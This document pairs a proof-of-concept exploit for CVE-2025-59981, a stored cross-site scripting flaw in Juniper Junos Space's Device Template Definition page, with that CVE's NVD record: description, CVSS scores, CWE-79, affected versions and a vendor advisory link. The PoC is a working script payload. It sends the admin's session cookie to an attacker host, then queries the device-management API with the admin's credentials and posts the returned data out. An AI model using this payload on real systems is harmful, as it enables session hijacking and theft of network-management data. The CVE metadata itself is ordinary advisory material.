CVE-2025-59981

<!-- CVE-2025-59981 - Juniper Junos Space Stored XSS PoC --> <!-- This PoC demonstrates the stored XSS vulnerability in Device Template Definition page --> <!-- Step 1: Attacker injects malicious script into Device Template Definition --> <!-- The following payload is injected into a template field (e.g., template name or description) --> <script> // Exfiltrate session cookies to attacker's server var img = new Image(); img.src = 'https://attacker-server.com/steal?cookie=' + encodeURIComponent(document.cookie); // Alternatively, perform privileged actions via API fetch('/api/space/device-management/devices', { method: 'GET', credentials: 'include' }) .then(response => response.json()) .then(data => { fetch('https://attacker-server.com/exfil', { method: 'POST', body: JSON.stringify(data), headers: {'Content-Type': 'application/json'} }); }); </script> <!-- Step 2: When an admin visits the Device Template Definition page, --> <!-- the injected script executes in the admin's browser context, --> <!-- allowing the attacker to perform actions with admin privileges. -->

{"cve": {"id": "CVE-2025-59981", "sourceIdentifier": "[email protected]", "published": "2025-10-09T17:15:59.600", "lastModified": "2026-01-23T19:44:49.237", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Juniper Networks Junos Space allows an attacker to inject script tags in the Device Template Definition page that, when visited by another user, enables the attacker to execute commands with the target's permissions, including an administrator.This issue affects all versions of Junos Space before 24.1R4."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:juniper:junos_space:*:*:*:*:*:*:*:*", "versionEndExcluding": "24.1", "matchCriteriaId": "2EC090A9-634B-4AA2-916F-7548AF71FF76"}, {"vulnerable": true, "criteria": "cpe:2.3:a:juniper:junos_space:24.1:r1:*:*:*:*:*:*", "matchCriteriaId": "0566970C-0E9B-4566-9920-C7C436A4243D"}, {"vulnerable": true, "criteria": "cpe:2.3:a:juniper:junos_space:24.1:r2:*:*:*:*:*:*", "matchCriteriaId": "A2AA399D-5A7D-45B8-B774-D69054DFA4D3"}, {"vulnerable": true, "criteria": "cpe:2.3:a:juniper:junos_space:24.1:r3:*:*:*:*:*:*", "matchCriteriaId": "57CC4E1A-23AA-4B4A-8690-5EEDCBEC4BBE"}]}]}], "references": [{"url": "https://supportportal.juniper.net/JSA103140", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}